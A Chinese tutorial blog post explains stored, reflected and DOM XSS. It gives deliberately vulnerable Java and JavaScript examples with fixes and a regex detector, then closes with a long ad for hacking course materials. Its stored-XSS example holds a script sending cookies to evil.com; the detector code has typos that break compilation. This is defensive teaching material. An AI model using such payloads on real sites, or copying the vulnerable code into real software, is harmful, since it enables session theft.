在当今互联网高度发达的时代,Web应用已成为人们日常生活和企业运营中不可或缺的一部分。然而,随着功能的日益丰富,Web安全问题也愈发严峻。其中,跨站脚本攻击(XSS, Cross-Site Scripting) 是最常见、危害性极高的前端安全漏洞之一。

目录

  • 什么是 XSS?
  • XSS 类型详解
  • 存储型 XSS(Stored XSS)
  • 反射型 XSS(Reflected XSS)
  • DOM型 XSS(DOM-based XSS)
  • 通用防御方法
  • 小彩蛋:用 Java 写一个简单的 XSS 检测器!

什么是 XSS?

​ 跨站脚本攻击(Cross-Site Scripting,简称 XSS),指的是攻击者将恶意 JavaScript 脚本注入网页,当用户浏览时,在用户浏览器中执行,达到窃取数据、劫持操作、破坏界面的目的。

img

用户以为访问的是网站,实际上执行的是黑客的脚本

XSS 类型详解

存储型 XSS(Stored XSS)

​ 攻击者将恶意脚本提交到服务器(比如评论区、帖子等),服务器存储后,每次有人访问时,恶意代码都会被执行。

img


Java 漏洞示例(Servlet版)

java
@WebServlet("/comment")
public class CommentServlet extends HttpServlet {
    private static List<String> comments = new ArrayList<>();

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String comment = request.getParameter("comment");
        comments.add(comment); 
        response.sendRedirect("/view-comments");
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        for (String comment : comments) {
            out.println("<p>" + comment + "</p>"); 
        }
    }
}

攻击示例

​ 攻击者提交:

html
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

​ 浏览器访问评论区时,自动执行脚本,窃取 Cookie。

漏洞分析

  • 输入未过滤

  • 输出未编码

  • 直接拼接到 HTML 中

    修复示例

java
import org.owasp.encoder.Encode;
for (String comment : comments) {
    out.println("<p>" + Encode.forHtml(comment) + "</p>");
}

​ 使用 输出编码,确保 <、> 等字符不会被解释为 HTML 标签。

反射型 XSS(Reflected XSS)

​ 攻击者通过 URL 参数传递恶意脚本,服务器直接将参数返回到页面,导致脚本执行。


img


Java 漏洞示例

java
@WebServlet("/search")
public class SearchServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String keyword = request.getParameter("q");
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        out.println("<h2>Search Results for: " + keyword + "</h2>");
    }
}

攻击示例

​ 访问:

http://example.com/search?q=<script>alert('XSS')</script>

​ 网页内容直接变成:

html
<h2>Search Results for: <script>alert('XSS')</script></h2>

​ 浏览器执行脚本。

漏洞分析

  • 参数未验证
  • 输出未转义
  • 动态拼接 HTML 内容

修复示例

java
import org.owasp.encoder.Encode;
out.println("<h2>Search Results for: " + Encode.forHtml(keyword) + "</h2>");

或者在前端用安全标签,比如 JSP 的 <c:out> 自动转义输出。

DOM型XSS(DOM-based XSS)

​ 不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

攻击流程

  • 攻击者构造带恶意数据的链接
  • 前端 JavaScript 解析 URL 参数
  • 恶意脚本被注入到页面中

JavaScript 漏洞示例

html
<div id="msg"></div>

<script>
    var params = new URLSearchParams(window.location.search);
    var username = params.get('user');
    document.getElementById('msg').innerHTML = "Welcome, " + username;
</script>

攻击示例

链接:

php-template
http://example.com/page.html?user=<img src=x onerror=alert('XSS')>

页面执行:

html
Welcome, <img src=x onerror=alert('XSS')>

​ 弹窗提示,证明脚本注入成功。

漏洞分析

  • 使用 innerHTML
  • 无输入校验
  • 浏览器直接解析成 DOM 节点

修复示例

javascript
document.getElementById('msg').textContent = "Welcome, " + username;

​ 使用 textContent 防止 HTML 解析,从根源杜绝 DOM型 XSS。

通用防御方法总结

防御措施 说明
输出编码 输出到 HTML 页面时,对内容进行 HTML Encode
输入校验 检查并限制用户输入类型和长度
前端安全 API 使用 textContent、setAttribute 等安全方法
安全库支持 使用 OWASP Java Encoder、Spring Security
CSP安全策略 配置 Content-Security-Policy,限制脚本来源

小彩蛋

​ 用 Java 写一个简单的 XSS 检测器! 为了更好理解 XSS 注入原理,我们可以写一个简单的 XSS 检测小工具,快速扫描可疑输入!

简单版 Java XSS 检测器

java
import java.util.regex.Pattern;

public class XssDetector {
    private static final Pattern[] patterns = new Pattern[]{
        Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE),
        Pattern.compile("src[\r\n]*=[\r\n]*\\'(.*?)\\'", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
        Pattern.compile("</script>", Pattern.CASE_INSENSITIVE),
        Pattern.compile("<script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
        Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL)
    };

    public static boolean isXssAttack(String input) {
        if (input != null) {
            for (Pattern pattern : patterns) {
                if (pattern.matcher(input).find()) {
                    returntrue;
                }
            }
        }
        returnfalse;
    }

    public static void main(String[] args) {
        String suspiciousInput = "<script>alert('XSS')</script>";
        if (isXssAttack(suspiciousInput)) {
            System.out.println("⚠️ 检测到潜在的XSS攻击!");
        } else {
            System.out.println("✅ 输入安全。");
        }
    }
}

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、高级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

 如果你想要入坑黑客&网络安全工程师,这份282G全网最全的网络安全资料包!

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

​​​​​
学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

视频配套资料&国内外网安书籍、文档&工具

​​​
​​ 因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

黑客/网安大礼包:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

本文转自网络如有侵权,请联系删除。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐